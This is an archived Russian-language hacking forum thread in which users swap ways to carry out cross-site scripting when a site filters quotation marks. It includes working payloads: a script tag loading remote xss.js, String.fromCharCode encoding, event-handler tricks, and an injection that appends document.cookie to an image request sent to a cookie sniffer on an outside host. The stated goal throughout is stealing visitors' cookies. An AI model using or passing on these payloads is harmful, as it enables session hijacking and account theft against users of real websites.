Просмотр полной версии : Как можно произвести xss, если фильтруются кавычки?
1ten0.0net1
20.04.2006, 05:00
Скажите - как можно произвести xss, если фильтруются кавычки? Вариант с заменой на одинарные, %22 и на &/#22; , а также перенаправление на мой java-скрипт не предлагать. На серваке magic_quotes=on.
Одинарный ковычки тоже фильтруютя?
Ну в первых где тут кавычки? <SCRIPT SRC=http://site.com/xss.js></SCRIPT>
А во вторых попробуй использовать String.fromCharCode
(encoder http://www.paulschou.com/tools/xlate/)
Ну в первых где тут кавычки? <SCRIPT SRC=http://site.com/xss.js></SCRIPT>
А во вторых попробуй использовать String.fromCharCode
(encoder http://www.paulschou.com/tools/xlate/)
Ковычки могут понадобиться для того чтоб закрыть тег =)
Автор поясни какого типа XSS актив пасив мыло форум и т.д
1ten0.0net1
20.04.2006, 15:18
Ну в первых где тут кавычки? <SCRIPT SRC=http://site.com/xss.js></SCRIPT>
Вариант со внедрением ява-скрипта не подходит, как я и написал выше.
Инъекция пассивная, одинарные фильтруются. Нужно внедрить адрес снифера. То, что знаю я - осуществляется через кавычки, поэтому прошу совета.
а просто тыги можешь использовать?...
ну например картинку вставить?...
<img src="тут твой код или адрес снифера">
а далее можешь проверить:
<script>alert(document.images[0].src)</script>
Как дальше использовать думаю разберешься...
Гм, аналогичная ситуация - пассивный Xss, фильтруется только ", '... Что можно сделать нехорошего без кавычек? :-)
Т.е. просто картинку вставить могу - там кавычки не нужны, а вот с запросом О_о...
r=<img%20src=http://antichat.ru/cgi-bin/s.jpg?><script>img%20=%20new%20Image();%20img.src%20=%20document. images[19].src+document.cookie;</script>
К примеру не подходит
А, все, доперло - "+" = " "... как от этого избавиться? :-) & нельзя использовать, сразу говорю.
В виде "%ХХ" как "+" выглядит?
UPD: усе, спасибо, нашел :-) %2B - все работает
так как запрос без кавычек выглядит?
Дак как все таки обойти, если мне нужно закрыть тэг а кавычку съедает?
Bonnie and Clyde
06.08.2008, 19:43
вообщето тег закрывается без кавычки т.е. <тег>бла-бла</тег> возможно при ксс использовать OnMouseOver=xxx; BodyOnLoad=; etc...... учи html и JavaScript
Есть сайт в поиск ввожу <script>alert()</script> он все ставит в кавычки
"<script>alert()</script>" меняю запрос на "><script>alert()</script> кавычка фильтруется на """
тогда с чего ты решил что там вообще есть ксс?
Дак вот я и спрашиваю может есть какой то обход этой фильтрации!?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot